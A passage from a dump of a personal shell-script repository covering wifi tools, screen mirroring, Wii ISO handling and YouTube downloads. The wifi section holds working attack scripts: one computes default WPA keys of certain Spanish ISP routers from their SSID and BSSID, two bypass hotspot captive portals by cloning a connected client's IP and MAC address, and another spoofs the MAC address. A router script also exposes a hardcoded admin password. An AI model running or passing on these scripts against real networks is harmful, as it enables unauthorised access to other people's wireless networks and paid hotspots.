53 | key = "null" 54 | 55 | return key 56 | 57 | 58 | def get_name(cell): 59 | try: 60 | name = matching_line(cell,"ESSID:")[1:-1] 61 | except TypeError: 62 | name = "null" 63 | return name 64 | 65 | def get_quality(cell): 66 | try: 67 | quality = matching_line(cell,"Quality=").split()[0].split('/') 68 | except AttributeError: 69 | quality = "0/70" 70 | return str(int(round(float(quality[0]) / float(quality[1]) * 100))).rjust(3) + " %" 71 | 72 | def get_channel(cell): 73 | return matching_line(cell,"Channel:") 74 | 75 | def get_encryption(cell): 76 | enc="" 77 | if matching_line(cell,"Encryption key:") == "off": 78 | enc="Open" 79 | else: 80 | for line in cell: 81 | matching = match(line,"IE:") 82 | if matching!=None: 83 | wpa1=match(matching,"WPA Version ") 84 | if wpa1!=None: 85 | if enc != "": 86 | enc=enc+"+WPA" 87 | else: 88 | enc="WPA" 89 | wpa2=match(matching,"IEEE 802.11i/WPA2 Version ") 90 | if wpa2!=None: 91 | if enc != "": 92 | enc=enc+"+WPA2" 93 | else: 94 | enc="WPA2" 95 | if enc=="": 96 | enc="WEP" 97 | return enc 98 | 99 | def get_address(cell): 100 | return matching_line(cell,"Address: ") 101 | 102 | # Here's a dictionary of rules that will be applied to the description of each 103 | # cell. The key will be the name of the column in the table. The value is a 104 | # function defined above. 105 | 106 | rules={"Name":get_name, 107 | "Quality":get_quality, 108 | "Channel":get_channel, 109 | "Encryption":get_encryption, 110 | "Address":get_address, 111 | "Key":get_key, 112 | } 113 | 114 | 115 | # Below here goes the boring stuff. You shouldn't have to edit anything below 116 | # this point 117 | 118 | def matching_line(lines, keyword): 119 | """Returns the first matching line in a list of lines. See match()""" 120 | for line in lines: 121 | matching=match(line,keyword) 122 | if matching!=None: 123 | return matching 124 | return None 125 | 126 | def match(line,keyword): 127 | """If the first part of line (modulo blanks) matches keyword, 128 | returns the end of that line. Otherwise returns None""" 129 | line=line.lstrip() 130 | length=len(keyword) 131 | if line[:length] == keyword: 132 | return line[length:] 133 | else: 134 | return None 135 | 136 | def parse_cell(cell): 137 | """Applies the rules to the bunch of text describing a cell and returns the 138 | corresponding dictionary""" 139 | parsed_cell={} 140 | for key in rules: 141 | rule=rules[key] 142 | parsed_cell.update({key:rule(cell)}) 143 | return parsed_cell 144 | 145 | 146 | print "Scanning wifi networks on interface "+sys.argv[1]+", hit ^C to stop" 147 | 148 | 149 | done=[] 150 | while 1: 151 | #print ".", 152 | #sys.stdout.flush() 153 | 154 | proc = subprocess.Popen('iwlist '+sys.argv[1]+' scan 2>/dev/null', shell=True, stdout=subprocess.PIPE) 155 | stdout_str = proc.communicate()[0] 156 | stdout_list = stdout_str.split('\n') 157 | 158 | cells=[[]] 159 | parsed_cells=[] 160 | 161 | for line in stdout_list: 162 | cell_line = match(line,"Cell ") 163 | if cell_line != None: 164 | cells.append([]) 165 | line = cell_line[-27:] 166 | if line not in done: 167 | done.append(line) 168 | fer=1 169 | cells[-1].append(line.rstrip()) 170 | 171 | cells=cells[1:] 172 | 173 | for cell in cells: 174 | parsed_cell = parse_cell(cell) 175 | bssid = parsed_cell['Address'] 176 | if bssid not in done: 177 | done.append(bssid) 178 | if len(sys.argv) > 2: 179 | #print "\nSSID: "+parsed_cell['Name']+" \tKEY: "+parsed_cell['Key'] 180 | print parsed_cell 181 | else: 182 | if parsed_cell['Key'] != "null": 183 | #print "\nSSID: "+parsed_cell['Name']+" \tKEY: "+parsed_cell['Key'] 184 | print parsed_cell 185 | -------------------------------------------------------------------------------- /wifi/calcwlan-ng.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # version 0.4 - added ZyXEL P660HW-B1A support (BSSID 00:1f:a4) 3 | # version 0.3 - added recursive scan 4 | # version 0.2 - added VodafoneXXXX support 5 | # version 0.1 - initial revision 6 | echo "[] CalcWLAN-ng (original source by a.s.r, improved by pof)" 7 | if [ -z $1 ]; then 8 | echo "Usage: $0 " 9 | echo "Example: $0 wlan0" 10 | exit 1 11 | fi 12 | if [ $(whoami) != "root" ]; then 13 | echo "You must be root to scan networks." 14 | exit 1 15 | fi 16 | echo "Scanning wifi networks on interface $1, hit ^C to stop" 17 | DONE="" 18 | while : ; do 19 | echo -n "." 20 | TMP=$(tempfile) 21 | iwlist $1 scan > $TMP 22 | SSIDLIST=`cat $TMP |egrep "ESSID:\"((WLAN|JAZZTEL)_|Vodafone)(\w){4}" |cut -f 2 -d \"` 23 | if [ ! -z "$SSIDLIST" ]; then 24 | for SSID in $SSIDLIST; do 25 | echo "$DONE" |grep -w "$SSID" >/dev/null 26 | if [ $? != 0 ]; then 27 | MAC=$(cat $TMP |grep -B6 "$SSID" |grep "Address:" |awk '{print $5}' |head -n 1) 28 | echo $MAC |grep -i "^00:1F:A4:" >/dev/null 29 | if [ $? == 0 ]; then 30 | HEAD=$(echo -n "$SSID" |tr 'A-Z' 'a-z' |rev |cut -c -4 |rev) 31 | BSSIDP=$(echo -n "$MAC" |tr 'A-Z' 'a-z' |tr -d : |cut -c -8) 32 | KEY=$(echo -n "${BSSIDP}${HEAD}" |md5sum |tr 'a-z' 'A-Z' |cut -c -20) 33 | else 34 | HEAD=$(echo -n "$SSID" |sed -e "s/WLAN_//" -e "s/JAZZTEL_//" -e "s/Vodafone//" |tr 'a-z' 'A-Z') 35 | BSSID=$(echo -n "$MAC" |tr 'a-z' 'A-Z' |tr -d :) 36 | BSSIDP=$(echo -n "$BSSID" |cut -c-8) 37 | KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID |md5sum |cut -c-20) 38 | fi 39 | printf "\nSSID: $SSID \tKEY: $KEY\n" 40 | DONE="${SSID} ${DONE}" 41 | fi 42 | done 43 | fi 44 | rm $TMP 45 | done 46 | -------------------------------------------------------------------------------- /wifi/capture-wifi.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo iw dev wlan0 interface add wmon0 type monitor 3 | sudo ifconfig wmon0 up 4 | sudo dumpcap -i wmon0 -w /tmp/wlan0.pcap 5 | -------------------------------------------------------------------------------- /wifi/changewifimac.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | REALMAC=xx:xx:xx:xx:xx:xx 3 | 4 | sudo ifconfig wlan0 down 5 | if [ "$1" == "-r" ]; then 6 | sudo macchanger -m $REALMAC wlan0 7 | else 8 | sudo macchanger -e wlan0 9 | fi 10 | sudo dhclient3 wlan0 11 | ifconfig wlan0 12 | -------------------------------------------------------------------------------- /wifi/hotspot-bypass-android.sh: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | # 3 | # script to bypass some wifi hotspots 4 | # tested on Nexus 4 and Nexus 7 (2013), needs root, busybox and radare2 5 | # 6 | # (c) 2013 Pau Oliva Fora (@pof) 7 | # License: GPLv2+ 8 | # 9 | 10 | IFACE=wlan0 11 | 12 | id |grep "root" >/dev/null 2>&1 13 | if [ $? != 0 ]; then 14 | echo "$0 must be run as root" 15 | exit 1 16 | fi 17 | 18 | if [ "$1" == "r" ]; then 19 | echo "[+] Restore wifi mac" 20 | svc wifi disable 21 | if [ -f /data/misc/wifi/WCNSS_qcom_cfg.ini.bkp ] && [ -f /data/misc/wifi/WCNSS_qcom_wlan_nv.bin.bkp ]; then 22 | cp /data/misc/wifi/WCNSS_qcom_cfg.ini.bkp /data/misc/wifi/WCNSS_qcom_cfg.ini 23 | cp /data/misc/wifi/WCNSS_qcom_wlan_nv.bin.bkp /data/misc/wifi/WCNSS_qcom_wlan_nv.bin 24 | fi 25 | svc wifi enable 26 | echo "[+] done." 27 | exit 0 28 | fi 29 | 30 | 31 | if [ -f /data/misc/wifi/WCNSS_qcom_cfg.ini ] && [ -f /data/misc/wifi/WCNSS_qcom_wlan_nv.bin ]; then 32 | if [ ! -f /data/misc/wifi/WCNSS_qcom_cfg.ini.bkp ]; then 33 | cp /data/misc/wifi/WCNSS_qcom_cfg.ini /data/misc/wifi/WCNSS_qcom_cfg.ini.bkp 34 | fi 35 | if [ ! -f /data/misc/wifi/WCNSS_qcom_wlan_nv.bin.bkp ]; then 36 | cp /data/misc/wifi/WCNSS_qcom_wlan_nv.bin /data/misc/wifi/WCNSS_qcom_wlan_nv.bin.bkp 37 | fi 38 | fi 39 | 40 | function changemac() { 41 | newmac=$(echo $1 |sed -e "s/://g") 42 | mymac=`ip addr show ${IFACE} |grep link/ether |awk '{print $2}' |sed -e "s/://g"` 43 | 44 | len=`echo -n ${mymac} |wc -c` 45 | if [ "$len" != "12" ]; then 46 | echo "ERROR: can't get my mac" 47 | exit 1 48 | fi 49 | 50 | len=`echo -n ${newmac} |wc -c` 51 | if [ "$len" != "12" ]; then 52 | echo "ERROR: can't get target mac" 53 | exit 1 54 | fi 55 | 56 | if [ -f /data/misc/wifi/WCNSS_qcom_cfg.ini ] && [ -f /data/misc/wifi/WCNSS_qcom_wlan_nv.bin ]; then 57 | sed -i "s/${mymac}/${newmac}/gI" /data/misc/wifi/WCNSS_qcom_cfg.ini 58 | /data/data/org.radare.installer/radare2/bin/r2 -c "wx ${newmac}@0xa" -n -q -w /data/misc/wifi/WCNSS_qcom_wlan_nv.bin 59 | else 60 | ip link set ${IFACE} down 61 | ip link set dev ${IFACE} address $1 62 | ip link set ${IFACE} up 63 | fi 64 | } 65 | 66 | ipmask=`ip addr show dev ${IFACE} |grep "inet " |awk '{print $2}'` 67 | myip=`echo ${ipmask} |cut -f 1 -d "/"` 68 | mask=`echo ${ipmask} |cut -f 2 -d "/"` 69 | brd=`ip addr show dev ${IFACE} |grep "inet.*brd" |awk '{print $4}'` 70 | gw=`ip route |grep "^default via" |awk '{print $3}'` 71 | 72 | # get gw mac 73 | ping -n -c1 -w1 ${gw} >/dev/null 74 | gwmac=`ip neighbour show dev ${IFACE} |grep lladdr |grep "^${gw} " |awk '{print $3}' |tr [:upper:] [:lower:]` 75 | 76 | # loop through the 255 addresses of our netblock 77 | # loop through the 255 addresses of the gw netblock 78 | oc1=`echo ${myip} |cut -f 1 -d "."` 79 | oc2=`echo ${myip} |cut -f 2 -d "."` 80 | oc3=`echo ${myip} |cut -f 3 -d "."` 81 | oc3gw=`echo ${gw} |cut -f 3 -d "."` 82 | 83 | echo "Please wait..." 84 | loop=`printf "${oc3}\n${oc3gw}\n" |uniq` 85 | for o in $loop ; do 86 | for f in `seq 1 255` ; do 87 | 88 | ip=${oc1}.${oc2}.${o}.${f} 89 | echo -n "Testing ${ip} " 90 | 91 | if [ "${ip}" == "${brd}" ]; then 92 | echo 93 | continue 94 | fi 95 | 96 | ping -n -c1 -w1 ${ip} >/dev/null 97 | mac=`ip neighbour show dev ${IFACE} |grep lladdr |grep "^${ip} " |awk '{print $3}' |tr [:upper:] [:lower:]` 98 | 99 | if [ "${mac}" == "${gwmac}" ]; then 100 | # try to avoid gateways answering all arp requests (and fix busybox arping output) 101 | mac=`arping -I ${IFACE} -c 1 -w 1 -b ${ip} |grep reply |awk '{print $5}' |uniq |tr [:upper:] [:lower:] |sed -e "s:\[::" -e "s:\]::" |sed -e "s/:0:/:00:/g" -e "s/:1:/:01:/g" -e "s/:2:/:02:/g" -e "s/:3:/:03:/g" -e "s/:4:/:04:/g" -e "s/:5:/:05:/g" -e "s/:6:/:06:/g" -e "s/:7:/:07:/g" -e "s/:8:/:08:/g" -e "s/:9:/:09:/g" -e "s/:a:/:0a:/g" -e "s/:b:/:0b:/g" -e "s/:c:/:0c:/g" -e "s/:d:/:0d:/g" -e "s/:e:/:0e:/g" -e "s/:f:/:0f:/g" -e "s/^0:/00:/g" -e "s/^1:/01:/g" -e "s/^2:/02:/g" -e "s/^3:/03:/g" -e "s/^4:/04:/g" -e "s/^5:/05:/g" -e "s/^6:/06:/g" -e "s/^7:/07:/g" -e "s/^8:/08:/g" -e "s/^9:/09:/g" -e "s/^a:/0a:/g" -e "s/^b:/0b:/g" -e "s/^c:/0c:/g" -e "s/^d:/0d:/g" -e "s/^e:/0e:/g" -e "s/^f:/0f:/g" -e "s/:0$/:00/g" -e "s/:1$/:01/g" -e "s/:2$/:02/g" -e "s/:3$/:03/g" -e "s/:4$/:04/g" -e "s/:5$/:05/g" -e "s/:6$/:06/g" -e "s/:7$/:07/g" -e "s/:8$/:08/g" -e "s/:9$/:09/g" -e "s/:a$/:0a/g" -e "s/:b$/:0b/g" -e "s/:c$/:0c/g" -e "s/:d$/:0d/g" -e "s/:e$/:0e/g" -e "s/:f$/:0f/g" |grep -v "$gwmac" |sed -e "s:\[::" -e "s:\]::" |head -n 1` 102 | fi 103 | 104 | if [ -z "${mac}" ]; then 105 | echo 106 | continue 107 | fi 108 | 109 | echo "- ${mac}" 110 | 111 | echo "[+] disable wifi" 112 | svc wifi disable 113 | sleep 4 114 | echo "[+] change mac" 115 | changemac ${mac} 116 | sleep 1 117 | echo "[+] enable wifi" 118 | svc wifi enable 119 | sleep 9 120 | 121 | echo "[+] flush dev" 122 | ip addr flush dev ${IFACE} 123 | echo "[+] change ip" 124 | ip addr add ${ip}/${mask} broadcast ${brd} dev ${IFACE} 125 | echo "[+] add gw" 126 | ip route add default via ${gw} 127 | echo "[+] test connectivity" 128 | 129 | # allow iface to settle 130 | sleep 1 131 | # wait at least 3 sec for an icmp response 132 | ping -c1 -w3 8.8.8.8 >/dev/null 133 | case $? in 134 | "0") echo "CONNECTED! :)" ; exit 0 ;; 135 | "2") sleep 5 ;; #interface not ready yet 136 | esac 137 | # test a second host, just in case 138 | ping -c1 -w3 192.0.43.10 >/dev/null 139 | if [ $? -eq 0 ]; then 140 | echo "CONNECTED! :)" 141 | exit 0 142 | fi 143 | done 144 | done 145 | -------------------------------------------------------------------------------- /wifi/hotspot-bypass.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # quickly bypass most public hotspots if there are any clients connected by clonning its ip + mac addresses 4 | # version 0.2: successfully tested on 4 airports and 10 hotels using different captive portal solutions 5 | # 6 | # (c) 2012 Pau Oliva Fora - pof[at]eslack(.)org 7 | # License: GPLv2+ 8 | 9 | IFACE=wlan0 10 | 11 | brd=`ip addr show dev $IFACE |grep inet.*brd |awk '{print $4}'` 12 | gw=`ip route |grep "^default via" |awk '{print $3}'` 13 | mac=`ip addr show dev $IFACE |grep link/ether |awk '{print $2}'` 14 | ipmask=`ip addr show dev $IFACE |grep "inet " |awk '{print $2}'` 15 | mask=`echo $ipmask |cut -f 2 -d "/"` 16 | netaddr=`sipcalc $ipmask |grep "^Network address" |awk '{print $4}'` 17 | network="$netaddr/$mask" 18 | 19 | # get gw mac 20 | ping -n -c1 -w1 $gw >/dev/null 21 | gwmac=`ip neighbour show dev $IFACE |grep lladdr |grep "^$gw " |awk '{print $3}' |tr [:upper:] [:lower:]` 22 | 23 | echo "Discovering hosts on network $network, please wait" 24 | 25 | # split large networks into /24 subnets and intercalate them 26 | if [ $mask -lt 24 ]; then 27 | sipcalc -s 24 $network |grep "^Network" |awk '{print $3}' > /tmp/sipcalc.$$ 28 | len=`cat /tmp/sipcalc.$$ |wc -l` 29 | half=$(( $len / 2 )) 30 | head -n $half /tmp/sipcalc.$$ > /tmp/subnet1.$$ 31 | tail -n $half /tmp/sipcalc.$$ |tac > /tmp/subnet2.$$ 32 | paste /tmp/subnet1.$$ /tmp/subnet2.$$ |tr "\t" "\n" > /tmp/sipcalc.$$ 33 | rm /tmp/subnet1.$$ /tmp/subnet2.$$ 34 | else 35 | echo $network |cut -f 1 -d "/" > /tmp/sipcalc.$$ 36 | fi 37 | 38 | for net in `cat /tmp/sipcalc.$$` ; do 39 | 40 | if [ $mask -lt 24 ]; then 41 | network="$net/24" 42 | else 43 | network="$net/$mask" 44 | fi 45 | nmap -n -PR -sP -oX /tmp/hotspot.$$.xml $network >/dev/null 46 | 47 | # process nmap results in reverse order 48 | for LINE in `tac /tmp/hotspot.$$.xml |grep "^

/dev/null 77 | if [ $? -eq 0 ]; then 78 | rm /tmp/hotspot.$$.xml 79 | echo "CONNECTED! :)" 80 | exit 0 81 | fi 82 | # test a second host, just in case 83 | ping -c1 -w3 192.0.43.10 >/dev/null 84 | if [ $? -eq 0 ]; then 85 | rm /tmp/hotspot.$$.xml 86 | echo "CONNECTED! :)" 87 | exit 0 88 | fi 89 | fi 90 | echo 91 | done 92 | rm /tmp/hotspot.$$.xml 93 | 94 | done 95 | rm /tmp/sipcalc.$$ 96 | 97 | echo "No luck! :(" 98 | 99 | # restore original mac and ip 100 | ip link set $IFACE down 101 | ip link set dev $IFACE address $mac 102 | ip link set $IFACE up 103 | ip addr flush dev $IFACE 104 | ip addr add $ipmask broadcast $brd dev $IFACE 105 | ip route add default via $gw 106 | -------------------------------------------------------------------------------- /wifi/nm.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | case $1 in 4 | 5 | suspend) 6 | echo "NM suspend" 7 | #dbus-send --system --print-reply --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.sleep 8 | sudo dbus-send --system --print-reply --reply-timeout=600 --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Sleep boolean:true 9 | 10 | ;; 11 | 12 | resume) 13 | echo "NM resume" 14 | #dbus-send --system --print-reply --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.wake 15 | sudo dbus-send --system --print-reply --reply-timeout=600 --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Sleep boolean:false 16 | 17 | ;; 18 | 19 | *) 20 | echo "Usage: $0 [suspend|resume]" 21 | ;; 22 | 23 | esac 24 | -------------------------------------------------------------------------------- /wifi/reboot-vodafone.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #reboot router 4 | echo "Rebooting router...." 5 | (sleep 2; echo admin; sleep 2; echo PASSWORD; sleep 2; echo "reboot"; sleep 2; echo "exit"; sleep 2; echo "logout") | telnet vodafone 6 | 7 | # wait for reboot 8 | echo "Waiting for the router to reboot..." 9 | sleep 90s 10 | 11 | # remove bogus iptables rule 12 | echo "Removing bogus iptables rule..." 13 | (sleep 2; echo admin; sleep 2; echo ktdna0ET; sleep 2; echo "sh"; sleep 2; echo "iptables -t nat -D PREROUTING_IN 1"; sleep 2; echo "exit"; sleep 2; echo "logout") | telnet vodafone 14 | 15 | if [ $? == 0 ]; then echo "Done!" ; fi 16 | -------------------------------------------------------------------------------- /wifi/switch-wifi-driver.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | case "$1" in 3 | "wl") 4 | echo "Using wifi driver wl" 5 | sudo rmmod brcmsmac mac80211 brcmutil cfg80211 crc8 cordic 6 | sudo modprobe wl 7 | sudo modprobe cfg80211 8 | sudo modprobe mac80211 9 | ;; 10 | "brcmsmac") 11 | echo "brcmsmac" 12 | sudo rmmod wl 13 | sudo modprobe brcmsmac 14 | ;; 15 | *) 16 | echo "USAGE: $0 [wl|brcmsmac]" 17 | exit 1 18 | esac 19 | -------------------------------------------------------------------------------- /wii/wii-iso-to-usb.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | mount |grep "Volume_2" 2>&1 >/dev/null 3 | if [ "$?" == "1" ]; then 4 | echo -n "NAS Volume 2 not mounted, mount it?" 5 | read pause 6 | mount.cifs //nas/Volume_2 /mnt/ 7 | if [ $? == 0 ]; then 8 | echo "Mounted ok, press any key to continue" 9 | read pause 10 | else 11 | echo "ERROR" 12 | exit 1 13 | fi 14 | fi 15 | 16 | SRC="/mnt/media/Finished/WII-pof/TODO" 17 | TMPF="/tmp/wiirarfiles.$$" 18 | TMPF2="/tmp/wiirarfiles-iso.$$" 19 | 20 | find $SRC -iname "*.rar" |grep -v "part[0-9]" > $TMPF 21 | find $SRC -iname "*.rar" |grep "part01.rar" >> $TMPF 22 | find $SRC -iname "*.rar" |grep "part001.rar" >> $TMPF 23 | len=`cat $TMPF |wc -l` 24 | find $SRC -iname "*.iso" > $TMPF2 25 | len2=`cat $TMPF2 |wc -l` 26 | 27 | lenshow=$(($len + $len2)) 28 | 29 | echo -n "Process $lenshow files?" 30 | read pause 31 | 32 | # rar 33 | for f in `seq 1 $len` ; do 34 | file=`cat $TMPF |head -n $f |tail -n 1` 35 | echo "[ $f / $lenshow ] - $file" 36 | mkdir "$f" 37 | cd "$f" 38 | time unrar x -idc "$file" 39 | rm *.url *.txt *.URL *.TXT 2> /dev/null 40 | iso=`find . -iname "*.iso"` 41 | wwt -a ADD "$iso" 42 | cd .. 43 | rm -r "$f" 44 | echo "**** DONE ****" 45 | done 46 | 47 | #iso 48 | for f in `seq 1 $len2` ; do 49 | n=$(($f + $len)) 50 | file=`cat $TMPF2 |head -n $f |tail -n 1` 51 | echo "[ $n / $lenshow ] - $file" 52 | wwt -a ADD "$file" 53 | echo "**** DONE ****" 54 | done 55 | 56 | 57 | -------------------------------------------------------------------------------- /xrandr/xrandr-mirror.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # script to mirror screen to the best available resolution on projectors 3 | # useful for presentations, conferences, etc... 4 | # (c) 2013 Pau Oliva Fora - @pof 5 | 6 | # problems? rm ~/.config/monitors.xml 7 | 8 | #xrandr --output HDMI1 --auto --same-as eDP1 9 | #xrandr --output HDMI1 --auto --mode 1440x900 --same-as eDP1 10 | 11 | INPUT="eDP1" 12 | OUTPUT=$(xrandr |grep " connected" |grep -v "^${INPUT}" |cut -f 1 -d " ") 13 | 14 | if [ -z $1 ]; then 15 | INPUT_RES=$(xrandr |grep -A1 "^${INPUT}" |tail -n 1 |awk '{print $1}') 16 | RES=$(xrandr |grep -A15 "^${OUTPUT}" |grep -B15 "connected" |awk '{print $1}' |grep "[0-9][0-9][0-9]x[0-9][0-9][0-9]") 17 | echo "Available OUTPUT resolutions:" 18 | echo "$RES" 19 | # choose the biggest supported resolution that is smaller than INPUT_RES 20 | ir_w=$(echo ${INPUT_RES} |cut -f 1 -d "x") 21 | ir_h=$(echo ${INPUT_RES} |cut -f 2 -d "x") 22 | for r in ${RES} ; do 23 | or_w=$(echo ${r} |cut -f 1 -d "x") 24 | or_h=$(echo ${r} |cut -f 2 -d "x") 25 | if [ "${or_w}" -le "${ir_w}" ] ; then 26 | if [ "${or_h}" -le "${ir_h}" ]; then 27 | OUTPUT_RES=${r} 28 | echo "Auto-choosing: ${r}" 29 | break 30 | fi 31 | fi 32 | done 33 | if [ -z ${OUTPUT_RES} ]; then 34 | echo 35 | echo "Warning: Can't find a matching output resolution" 36 | echo "If you are not happy with the results try to specify the resolution manually" 37 | echo "example: $0 " 38 | echo 39 | OUTPUT_RES=$(xrandr |grep -A1 "^${OUTPUT}" |tail -n 1 |awk '{print $1}') 40 | fi 41 | else 42 | OUTPUT_RES=$1 43 | INPUT_RES=$1 44 | fi 45 | 46 | echo 47 | 48 | if [ "$1" == "-u" ]; then 49 | # undo (left-of: my home setup) 50 | INPUT_RES=$(xrandr |grep -A1 "^${INPUT}" |tail -n 1 |awk '{print $1}') 51 | echo "INPUT: ${INPUT} (${INPUT_RES})" 52 | OUTPUT_RES=$(xrandr |grep -A1 "^${OUTPUT}" |tail -n 1 |awk '{print $1}') 53 | echo "OUTPUT: ${OUTPUT} (${OUTPUT_RES})" 54 | xrandr --output ${INPUT} --auto --mode ${INPUT_RES} --output ${OUTPUT} --auto --mode ${OUTPUT_RES} --left-of ${INPUT} 55 | else 56 | echo "INPUT: ${INPUT} (${INPUT_RES})" 57 | echo "OUTPUT: ${OUTPUT} (${OUTPUT_RES})" 58 | #xrandr --output ${OUTPUT} --auto --mode ${OUTPUT_RES} --same-as ${INPUT} 59 | #xrandr --output ${INPUT} --auto --mode ${OUTPUT_RES} --same-as ${OUTPUT} 60 | xrandr --output ${OUTPUT} --auto --mode ${OUTPUT_RES} --same-as ${INPUT} --output ${INPUT} --auto --mode ${OUTPUT_RES} 61 | fi 62 | 63 | echo "Done!" 64 | -------------------------------------------------------------------------------- /youtube/gamespot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Script to search the GameSpot Verus database 3 | # (c) 2014-2016 Pau Oliva (@pof) 4 | 5 | DBFILE=~/bin/gamespot.csv 6 | sleep_sec=0 7 | 8 | function create_dbfile() { 9 | TMPDIR="/tmp/temp.$$.$RANDOM" 10 | mkdir -p ${TMPDIR} && cd ${TMPDIR} 11 | 12 | if [ $sleep_sec != 0 ]; then 13 | echo "youtube-dl --dateafter ${last} --skip-download --write-info-json --write-description --output '%(id)s.%(ext)s' --restrict-filenames https://www.youtube.com/user/supersf2turbo/videos" 14 | youtube-dl --dateafter ${last} --skip-download --write-info-json --write-description --output '%(id)s.%(ext)s' --restrict-filenames https://www.youtube.com/user/supersf2turbo/videos & 15 | sleep ${sleep_sec} && ( ps ax |grep youtube-dl |grep -v grep |awk '{print $1}' |xargs -n 1 kill ) 16 | else 17 | youtube-dl --dateafter ${last} --skip-download --write-info-json --write-description --output '%(id)s.%(ext)s' --restrict-filenames https://www.youtube.com/user/supersf2turbo/videos 18 | fi 19 | 20 | for f in `ls -at -- *.description` ; do gamespot_filter "$f" ; done |grep -v "^${last};" |tee -a ${DBFILE} 21 | 22 | rm -rf ${TMPDIR} 23 | } 24 | 25 | function gamespot_filter() { 26 | file=$1 27 | if [ ! -e "$file" ]; then 28 | echo "ERROR: $file does not exist" 29 | exit 1 30 | fi 31 | id=$(echo $file |cut -f 1 -d ".") 32 | out="/tmp/temp.$$.$RANDOM" 33 | date=$(cat -- $id.info.json |jq -M . |grep upload_date |cut -f 2 -d ":" |cut -f 2 -d '"') 34 | if [ -z "$date" ]; then 35 | # date: %m%d%Y 36 | date=$(cat -- $file |head -n 1 |grep -o [0-9][0-9][0-9][0-9][0-9][0-9]) 37 | if [ -z $date ]; then 38 | date=999999 39 | fi 40 | month=`echo $date |cut -c 1,2` 41 | day=`echo $date |cut -c 3,4` 42 | year=`echo $date |cut -c 5,6` 43 | if [ "$month" -gt 12 ]; then 44 | day=`echo $date |cut -c 1,2` 45 | month=`echo $date |cut -c 3,4` 46 | fi 47 | date="20${year}${month}${day}" 48 | fi 49 | cat -- $file |grep "^[0-9][0-9]:[0-9][0-9] " |sed -e "s/ vs\. //" -e "s/ vs //" > $out 50 | len=`cat $out |wc -l` 51 | for f in `seq 1 $len` ; do 52 | LINE=`cat $out |head -n $f |tail -n 1` 53 | time=`echo $LINE |awk '{print $1}' |sed -e "s/:/m/" -e "s/$/s/"` 54 | name1=`echo $LINE |cut -f 2- -d " " |cut -f 1 -d "(" |sed -e "s/ $//"` 55 | char1=`echo $LINE |cut -f 2 -d "(" |cut -f 1 -d ")" |sed -e "s/ $//"` 56 | name2=`echo $LINE |cut -f 2- -d ")" |cut -f 1 -d "(" |sed -e "s/ $//"` 57 | char2=`echo $LINE |cut -f 3 -d "(" |cut -f 1 -d ")" |sed -e "s/ $//"` 58 | echo "$date;http://youtu.be/${id}?t=$time;$char1;$char2;$name1;$name2;" 59 | done 60 | rm $out 61 | } 62 | 63 | 64 | if [ -f $DBFILE ]; then 65 | last=`tail -n 1 $DBFILE |cut -f 1 -d ";"` 66 | sleep_sec=60 67 | else 68 | mkdir -p ~/bin/ 69 | last=20121201 70 | echo "Database not found, creating database for the first time. Please wait..." 71 | create_dbfile 72 | fi 73 | 74 | if [ -z "$last" ]; then 75 | last=20121201 76 | fi 77 | 78 | term1=$1 79 | term2=$2 80 | if [ -z "$term1" ]; then 81 | echo "USAGE: $0 []" 82 | exit 1 83 | fi 84 | 85 | today=$(date '+%Y%m%d') 86 | diff=$(( $today - $last )) 87 | if [ $diff -gt 100 ]; then 88 | echo "Database is too old, adding new entries. Please wait..." 89 | create_dbfile 90 | fi 91 | 92 | if [ -z "$term2" ]; then 93 | cat $DBFILE |column -s ';' -t |grep -A1 --color -i "$term1" 94 | else 95 | cat $DBFILE |grep -A1 -i "$term1" |grep -i -A1 "$term2" |egrep -i "(^--|$term1.*$term2|$term2.*$term1)" |column -s ';' -t |egrep -A1 --color -i "($term1|$term2)" 96 | fi 97 | -------------------------------------------------------------------------------- /youtube/twitch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # http://livestreamer.tanuki.se/en/latest/ 3 | 4 | URL=$1 5 | if [ -z "$URL" ]; then 6 | URL="http://www.twitch.tv/arkadeum" 7 | fi 8 | 9 | #QUALITY="high" 10 | QUALITY="best,high" 11 | #QUALITY="best,source,high,low,medium,mobile,worst" 12 | 13 | #PLAYER="mplayer -cache-min 60 -cache 8192" 14 | #PLAYER="mplayer" 15 | PLAYER="totem" 16 | 17 | #livestreamer "${URL}" ${QUALITY} -v --player-fifo --player-continuous-http --player "${PLAYER}" 18 | livestreamer "${URL}" ${QUALITY} -v --player-continuous-http --player "${PLAYER}" 19 | -------------------------------------------------------------------------------- /youtube/youtube2mp3.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # A very simple Bash script to download a YouTube video 3 | # and extract the music file from it. 4 | address=$1 5 | regex='v=(.*)' 6 | if [[ $address =~ $regex ]]; then 7 | video_id=${BASH_REMATCH[1]} 8 | video_id=$(echo $video_id | cut -d'&' -f1) 9 | video_title="$(youtube-dl --get-title $address)" 10 | youtube-dl $address 11 | ext=$(ls $video_id.* |cut -f2 -d'.') 12 | ffmpeg -i $video_id.$ext "$video_title".wav 13 | lame "$video_title".wav "$video_title".mp3 14 | rm $video_id.$ext "$video_title".wav 15 | else 16 | echo "Error... is this a youtube url?" 17 | fi 18 | --------------------------------------------------------------------------------